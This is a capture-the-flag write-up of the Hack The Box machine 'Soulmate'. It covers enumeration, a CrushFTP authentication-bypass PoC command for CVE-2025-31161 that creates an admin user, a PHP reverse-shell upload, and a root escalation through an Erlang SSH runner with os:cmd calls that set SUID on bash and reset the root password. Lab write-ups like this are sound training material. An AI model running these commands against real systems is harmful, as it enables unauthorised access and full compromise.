Soulmate#

Machine Description#
Soulmate is an easy-difficulty Linux machine that focuses on web enumeration and service discovery. The initial foothold comes from virtual host enumeration, which reveals a CrushFTP instance vulnerable to an authentication bypass (CVE-2025-31161). After gaining access, you can leverage file upload functionality to obtain remote code execution and land a shell. The box then transitions into local enumeration and privilege escalation, ultimately leading to root via a misconfigured/root-run command runner.
Network Enumeration#
# Nmap 7.98 scan initiated Fri Dec 12 09:31:14 2025 as: nmap -sCV -T4 -oN soulmate.nma 10.10.11.86
Nmap scan report for 10.10.11.86
Host is up (0.46s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
1081/tcp filtered pvuniwien
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 12 09:32:22 2025 -- 1 IP address (1 host up) scanned in 67.47 secondsThe scan shows two open ports: 22 (SSH) and 80 (HTTP). Since a web server is running on port 80, I started with the web service.
When working on an HTB box, map the IP to the domain in
/etc/hosts.
echo '10.10.11.86 soulmate.htb' | sudo tee -a /etc/hosts
Web Enumeration#

After reviewing the application functionality, I didn’t find any direct vulnerabilities, so I proceeded with virtual host enumeration.
~/htb/soulmate ❯ ffuf -H 'HOST: FUZZ.soulmate.htb' -u http://soulmate.htb -w ~/Bitter/Discovery/DNS/bitquark-subdomains-top100000.txt -fl 8
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb
:: Wordlist : FUZZ: /home/bitter/Bitter/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 8
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 414ms]The application exposes a subdomain, ftp.soulmate.htb, which is running the CrushFTP service. This version is vulnerable to an authentication bypass tracked as CVE-2025-31161.

Version Detection
Auth Bypass#
This GitHub repo provides a complete PoC for the CVE, so I used it to create an admin user.
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user bitter --password bitter After creating the admin user, you can log in with the new credentials. During further enumeration, I found a user named ben associated with the webProd directory. From the admin panel, it’s also possible to generate (reset) a password for ben and log in to that account.

After logging in as ben, you can upload a PHP file that will be served on the soulmate.htb domain.

I uploaded rev.php, which contained a reverse-shell payload. After visiting /rev.php, I received a shell as www-data.

Post Exploitation#
After getting a shell as www-data, I performed further enumeration to escalate privileges to user ben (using ps aux and a tool like linpeas).
User#
I noticed a binary running as root. Reviewing the script revealed credentials for user ben.


After finding ben’s password, I switched to the ben user and continued local enumeration. I found a service listening on port 2222/tcp; banner grabbing identified it as SSH-2.0-Erlang/5.2.9.


Root#
Further research helped me confirm that I could run commands through it. Since ssh_runner runs as root, I used it to set the SUID bit on bash and reset the root password.
(ssh_runner@soulmate)2> os:cmd('id').
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)9> os:cmd('chmod u+s /bin/bash && echo "root:root" | chpasswd').
[]
(ssh_runner@soulmate)10> os:cmd('ls -l /bin/bash').
"-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash\n"
This allowed me to escalate to root and fully compromise the machine.
Conclusion#
This box focused on virtual host discovery, exploiting a real-world CVE, and chaining multiple privilege escalations. It’s a good example of how weak service isolation can lead to full system compromise.

